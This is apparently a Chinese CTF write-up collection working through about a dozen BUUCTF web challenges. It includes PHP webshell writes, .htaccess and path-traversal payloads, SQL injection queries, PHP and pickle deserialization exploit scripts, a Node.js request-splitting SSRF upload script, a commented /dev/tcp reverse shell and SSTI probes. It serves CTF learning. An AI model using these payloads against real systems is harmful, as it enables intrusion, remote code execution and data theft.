'&echo+"<?=@eval(\$_POST[1])?>">1.php&'

'%26echo+"<?=@eval(\$_POST[1])?>">1.php%26'

然后蚁剑连接

这里有个flag.txt,但是读不了

[XNUCA2019Qualifier]EasyPHP

.hatccess脏字符

其他解法

复制代码
<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

这题用.htaccess

?content=php_value auto_prepend_fi\

le .htaccess

#<?php system('cat /fl*');?>\&filename=.htaccess

[NewStarCTF 2023 公开赛道]Begin of HTTP

比较简单:

virink_2019_files_share

....//绕过

抓包:

这里有个/uploads/favicon.ico

然后点击priview发现有个f参数:

这里发现其实有过滤,etc/只剩下e了,用....//绕过和etctc

?f=//....//....//....//....//....//....//etctc//passwd

然后去读flag

?f=//....//....//....//....//....//....//f1ag_Is_h3re的时候一直没有用,后面发现其实这是个文件夹:

payload:

?f=//....//....//....//....//....//....//f1ag_Is_h3rere//flag

这里是去了re,当然也可以用下面这个

?f=//....//....//....//....//....//....//f1ag_Is_h3re..//flag

[NESTCTF 2019]Love Math 2

源码:

复制代码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这题和前面有一题一样,但是这题限制了60的长度:

payload:

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

(is_nan^(6).(4)).(tan^(1).(5))结果是_GET
$pi=_GET,$$pi=$_GET

php中,get方法的[]可以用{}替代,$pi{0}($pi{1})$_GET{0}($_GET{1})总的来看就是system(cat /flag)

[NewStarCTF 2023 公开赛道]ez_sql

这里有个id参数,感觉是可以拿来注入

这里字段数为5,

库:

?id=1'Union Select 1,2,3,4,database()--+

表:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= database()--+

列:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'here_is_flag'--+

出:id=1' Union Select 1,2,3,4,GROUP_CONCAT(flag)FROM here_is_flag--+

[DDCTF 2019]homebrew event loop

给了源码:

复制代码
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')
flask接受参数的方式

我们来看一下,这里出flag的因该是get_flag_handler,条件是if session['num_items'] >= 5:

然后我们看看这个num_items

获取:

这里就存在一个漏洞,这里是如果session的points小于point_to_consume,就减去

然后看看路由:

这里就是如果num_items没有,让points为3,num_items为0,然后调用了一个trigger_event,返回了一个 execute_event_loop()

复制代码
def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

这里有个eval:

action的话会直接返回第一个;之后的内容

参数这里用#做了一下分割,并返回一个列表到args里 ,所以我们就是这样,

先执行buy_handle,然后紧接着get_flag, 把consume_point_function放到最后

若让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后

?action:trigger_event%23;action:buy;5%23action:get_flag;

session=.eJyNjk1rg0AYhP9K2XMO61dFwUsrCtIoSa27-5ZS1E393I2gJtbgf48UWijpobeBmXlmLqg9Fsh-vaC7DNmIkRCnxBojuf9MCZdAgw-g0GZyV0eqV3O_PWV1V3HamOFzWDJt32Wqfg9qgqkKPSO5iZbNDU4EyiHuldW6cXjLPUtkviejs-Og5e2nDTIZ2dzVmWrMnCgt1R5OKTFwNL84f5AkdEBzc000QIsv0m_QnPqW9v0SxFSC1uvgljUQZoQVnpgI2qd4N0VxPkQuL7ePWGcCqtAtMKub8zZOrP8NIzmK92o4iB7ZeIO6YyWHVWrLFYecdfA.aKPmOg.p8N3i0VjdyYhN0MEKeHlUPp1Mw0

[羊城杯 2020]Blackcat

打开之后有个音频,下载后用010打开,发现有源码:

复制代码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('x');
}
 
$clandestine = getenv("clandestine");
 
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
 
 
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
 
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('x');
}
 
echo exec("nc".$_POST['One-ear']);

这里直接echo exec了,所以One-ear在前面;就直接rce,然后看看前面怎么搞

我们直接让White-cat-monitor为数组,所以

就为空,

那么

这里的参数实际上就是 sha256 , One-ear的值 , null,直接求:

复制代码
<?php
$hh = hash_hmac('sha256',';ls /', null);
echo $hh;

然后尝试一下ls /

Black-Cat-Sheriff=34ba546aa2ba7adbb3a0c6f574d24f1dccd17d87b8d48f2b240df9e366f383c3&One-ear=;ls /&White-cat-monitor[]=1

就显示出来一个var

还是不行,啊?

然后看了其他师傅的博客,好像就是这样,但是buu提交错误,好吧

[NewStarCTF 2023 公开赛道]Unserialize?

复制代码
<?php

class evil {
    private $cmd='ls';

}

$a=new evil();

echo urlencode(serialize($a));

?>

欧克了

unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A9%3A%22sort%20%2Fth%2A%22%3B%7D

出flag

[GYCTF2020]Node Game

通过拆分攻击实现的SSRF攻击

先看看源码

复制代码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');    // morgan是express默认的日志中间件
const multer = require('multer');    // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))

app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){    // action中不能含有/或\\字符
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);    // 渲染pug模板引擎
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {    // remoteAddress必须是本地IP,所以需要进行ssrf
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));    // JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";    
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name    // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越
            if(!fs.existsSync(__dirname + file_path)){    // 以同步的方法检测目录是否存在
                try {
                    fs.mkdirSync(__dirname + file_path)    // 如果目录不存在则创建目录
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)    // 将要上传的文件写入文件到指定的目录中(实现文件上传)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";    // 用来接收请求的数据
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }

                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {    // 检测url中的恶意字符,检测到的返回true。可以通过字符串拼接绕过。
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

不会,看看大佬的博客:

/:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染

/source:回显源码

/file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。

/core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过

我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的

脚本:

复制代码
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive 

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)

取自

[NewStarCTF 2023 公开赛道]泄漏的秘密

robots.txt

然后扫到www.zip

拼一下就好了

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

[HFCTF 2021 Final]easyflask

session伪造+pickle反序列化

有个这个

然后题目又是flask

访问:

看到源码,整理一下:

复制代码
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):#如果u对应的值是字典,会读取  u.b
            u = b64decode(u.get('b'))
        u = pickle.loads(u)#pickle反序列化
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

要我们找一个secret_key,那就试试/proc/self/environ

找到了

secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

复制代码
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requests
 
url = "http://5dce76ce-7856-4683-a41a-1500554f465f.node5.buuoj.cn:81"
 
#url = "http://127.0.0.1:80"
 
def get_secret_key():
    target = url + "/file?file=/proc/self/environ"
    r = requests.get(target)
    #print(r.text)
    key = re.findall('key=(.*?).OLDPWD',r.text)
    return str(key[0])
 
#secret_key = get_secret_key()
secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
 
print(secret_key)
 
 
class FakeApp:
    secret_key = secret_key
 
class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/b"
        return (os.system,(cmd,))
 
exp = {
    "b":base64.b64encode(pickle.dumps(User()))
}
 
#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
 
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    #{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}
    #{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
    #{'u':exp}
)
print(cookie)
 
headers = {
    "Accept":"*/*",
    "Cookie":"session={0}".format(cookie)
}
 
req = requests.get(url+"/admin",headers=headers)
 
print(req.text)
 
req = requests.get(url+"/file?file=/tmp/b",headers=headers)
 
print(req.text)

找到一个脚本,或者直接生成cookie访问/admin也行

复制代码
import os
import pickle
import base64
 
 
User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("cat /flag > /tmp/a",))
    #'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'",))
})
 
u = pickle.dumps(User())
print(base64.b64encode(u))

不过要在linux环境下运行,windows不行

[2020 新春红包题]1

看看源码:

复制代码
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

有点眼熟

入点:

有个save方法,定位:

这里是最终调用了set,set在B中

可以看到参数对应:

$name->key

$value->contents

$expire->expire

然后这里content来自:

然后看看set

这题的逻辑和ezpop一样,但是文件有限制:

会将文件名随机,并且还过滤了.php后缀

我们可以用:

$this->key = /../1.php/.

因为在做路径处理的时候,会递归的删除掉路径中存在的 /.从而传入的东西是./1.php,而传入之前,是 /../1.php/.,通过目录穿越,让文件名固定,并且绕过.php后缀的检查

然后exit的话就和上面那题一样base64绕

这里就直接用脚本

复制代码
<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    
    public $cache =[];
    public $complete = true; 
    
    public function __construct () {
        $this->store = new B();
        $this->key = '/../penson.php/.';
        
        $this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];

    }
    
}
class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
    ];
}
$a = new A();
echo urlencode(serialize($a));

?>

然后访问/uploads/1.php

[watevrCTF-2019]Supercalc

ssti报错注入

抓包看看:

有个flask session

这里如果正常用{{}}不行,用ssti报错注入

复制代码
1/0#{{config}}

看看能不能找到key:

cded826a1e89925035cc05f0907855f7

payload:__import__("os").popen("cat flag.txt").read()

然后就是伪造session来ssti,但是很奇怪

我这里怎么搞都出不来,其他师傅这里就直接出了,不知道哪里出问题了shuati

相关推荐
HAPPY酷3 小时前
C++ 和 Python 的“容器”对决:从万金油到核武器
开发语言·c++·python
却尘3 小时前
Next.js 请求最佳实践 - vercel 2026一月发布指南
前端·react.js·next.js
ccnocare3 小时前
浅浅看一下设计模式
前端
Lee川3 小时前
🎬 从标签到屏幕:揭秘现代网页构建与适配之道
前端·面试
Ticnix3 小时前
ECharts初始化、销毁、resize 适配组件封装(含完整封装代码)
前端·echarts
纯爱掌门人3 小时前
终焉轮回里,藏着 AI 与人类的答案
前端·人工智能·aigc
twl3 小时前
OpenClaw 深度技术解析
前端
gpfyyds6663 小时前
Python代码练习
开发语言·python
崔庆才丨静觅3 小时前
比官方便宜一半以上!Grok API 申请及使用
前端
星光不问赶路人4 小时前
vue3使用jsx语法详解
前端·vue.js